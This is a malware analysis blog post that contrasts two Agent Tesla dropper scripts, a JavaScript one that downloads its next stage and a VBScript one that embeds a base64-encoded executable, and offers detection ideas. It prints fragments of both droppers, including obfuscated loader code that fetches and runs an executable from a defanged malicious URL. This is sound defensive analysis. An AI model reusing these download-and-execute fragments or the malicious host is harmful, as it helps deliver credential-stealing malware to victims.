A Tale of Two Dropper Scripts for Agent Tesla

T forensicitguy.github.io/a-tale-of-two-dropper-scripts/

January 3, 2022

By Tony Lambert

Posted 2022-01-03 Updated 2022-03-28 6 min read

In this post I want to look at two script files that drop Agent Tesla stealers on affected systems and show how adversary decisions affect malware analysis and detection. If you want to follow along at home, I'm working with these samples from MalwareBazaar:

The first script (hash starting with 46dd) is crafted with love using obfuscated JavaScript and shows how an adversary made the decision to download subsequent stages rather than embed into the script. The second script (hash starting with ac05) is crafted with care using VBscript and shows another adversary choosing to embed a second stage into the script rather than trying to download more content.

Adversary Path - Downloading Stages

In the downloading path, we can see that the script is fairly obfuscated, but brief:

var _0x181193=_0x2d0f;(function(_0x2af778,_0x402c31){var _0x2500ec=_0x2d0f,_0x1384b3=_0x2af778();while(!![]){try{var _0x1e4494=-par (parseInt(_0x2500ec(0x1df))/0x8)+parseInt(_0x2500ec(0x1d2))/0x9*(parseInt(_0x2500ec(0x1d0))/0xa);if(_0x1e4494===_0x402c31)break;els ActiveX0bject(_0x181193(0x1ce));xhr['open'](_0x181193(0x1d6),url,![]),xhr[_0x181193(0x1da)]();function _0x4335(){var _0x9dcd91= ['2406210dsHjnj','693904PWufDQ','9vWQAXw','WScript.Shell','Write','237552VRkBbi','GET','ADODB.Stream','CreateObject','ResponseBody' {return _0x9dcd91;}return _0x4335();}var fso=new ActiveX0bject(_0x181193(0x1cc));if(fso['FileExists'](filepath)==![]){var stream=n {var _0x43355c=_0x4335();return _0x2d0ff=function(_0x2d0ffa,_0x4a32bc){_0x2d0ffa=_0x2d0ffa=0x1c8;var _0x35cdeb=_0x4335c[_0x2d0ffa];

We could potentially make this code prettier using a NodeJS REPL but the adversary chose to leave most of the essential stuff in plaintext for us. The strings MSXML2.XMLHTTP and hxxp://mudanzasdistintas[.]com.ar/vvt/td.exe indicate a second stage likely comes from a downloaded executable. The string shell['Run'] indicates the script likely launches that second stage at th end. While the script is relatively short, the majority of the script contents focus on obfuscation while not actually performing effective obfuscation. Since the adversary chose this route, we can make a few hypotheses:

- · The script is likely smaller
- · The script contains less details about subsequent stages
- · A wscript or cscript process will spawn the downloaded content
- · A wscript or cscript process will establish a network connection

We can test out these hypotheses using a combination of static analysis and a sandbox report. For file size, we can look at properties using exiftool or filesystem tools like 1s.

remnux@remnux:~/cases/js-tesla\$ ExifTool Version Number File Name Directory File Size File Modification Date/Time 05:00	: 12.30 : documentos.js : . : 1917 bytes
File Access Date/Time	: 2022:01:03 17:11:34-
05:00	
File Inode Change Date/Time	: 2022:01:03 12:36:18-
05:00	
File Permissions	: -rw-rr
File Type	: TXT
File Type Extension	: txt
МІМЕ Туре	: text/plain
MIME Encoding	: us-ascii
Newlines	: (none)
Line Count	: 1
Word Count	: 21

This script weighs in at 1917 bytes, fairly small. From the <u>Tria.ge sandbox report</u>, we can also confirm <u>wscript.exe</u> makes a network connection and at least one file modification to write the executable.

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\documentos Fedex.js"

Blocklisted process makes network request

Suspicious use of WriteProcessMemory

C:\Users\Admin\AppData\Local\Temp\rt.exe

"C:\Users\Admin\AppData\Local\Temp\rt.exe"

Executes dropped EXE

Loads dropped DLL

Suspicious use of SetThreadContext

Suspicious use of WriteProcessMemory

File Create	process:	wscript.exe	op:	CreateModify	status:	0×00000000
	path:	C:\Users\Admin\AppData\Local\Temp\rt.exe				

If we're looking for detection ideas, we could look into analytics that involve wscript.exe making network connections as well as file modifications.

Adversary Path - Embedding Stages

In the sample that embeds a payload, we can first see that the script contains a lot of content.

```
on error resume next
dim medo,sea,medoff
dim maasr
set helper = createobject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.datType="bin.base64"
medo.text="TVqQAAMAAAAEAAAA//
```

. . .

I've included the first and last parts of the script for brevity, but the exiftool output shows a significantly larger size:

remnux@remnux:~/cases/tesla\$ ExifTool Version Number File Name Directory File Size	exiftool TGFTR.vbs : 12.30 : TGFTR.vbs : . : 935 KiB
File Modification Date/Time	
05:00	. 2022.01.02 21.40.30-
File Access Date/Time	: 2022:01:03 17:27:22-
05:00	
File Inode Change Date/Time	: 2022:01:02 16:42:17-
05:00	
File Permissions	: -rw-rr
File Type	: TXT
File Type Extension	: txt
MIME Type	: text/plain
MIME Encoding	: us-ascii
Newlines	: Windows CRLF
Line Count	: 17
Word Count	: 49

This script weighs in at 935KiB vs the first script's 1917 bytes. This size difference is because the adversary chose to encode the second stage in base64 and embed it within the script. In some instances, I've seen adversaries embed multiple binaries into a script resulting in script sizes above 1MB. This helps the adversary avoid making network connections to get subsequent stages, but it gives defenders some extra clues. First, large scripts are more suspicious for any defenders that go hunting. Also, the more content adversaries include within their scripts, the more likely they are to trip YARA rules. We can see an example of this with these scripts.

remnux@remnux:~/cases/tesla\$ yara-rules TGFTR.vbs
Base64_encoded_Executable TGFTR.vbs

remnux@remnux:~/cases/tesla\$ yara-rules ../jstesla/documentos.js

For the VBscript containing the embedded stage, YARA detected an encoded Windows EXE. For the JS dropper that didn't have embedded content, YARA found nothing (although a custom ruleset would work better). For this demonstration I'm using the default YARA rules included with REMnux.

An additional issue embedding poses for the adversary: once a malware analyst has the first stage script, they can extract the subsequent versions easily, depending on the level of obfuscation. In this case, I could copy all of the content from TVqQ through the end of the string and paste it into its own file named mal.b64. Then I used base64 -d to decode the file into a Windows EXE.



remnux@remnux:~/cases/tesla\$ base64 -d mal.b64 > mal.bin

remnux@remnux:~/cases/tesla\$ file mal.bin mal.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows |....| 00000040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno| 00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS I 00000070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 |mode....\$.....| 00000080 50 45 00 00 4c 01 03 00 fe f0 ce 61 00 00 00 00 |PE..L.....a....| 00000090 00 00 00 00 00 00 00 02 01 0b 01 30 00 00 e8 0a 00 |....|

Sure enough, we can see the extracted material is a Windows EXE! If you're looking for detection ideas for this path, you can focus on the script content itself and use YARA, nework signatures, AV rules, and possibly behavioral analytics like wscript.exe spawning things it just wrote to disk.

Thanks for reading!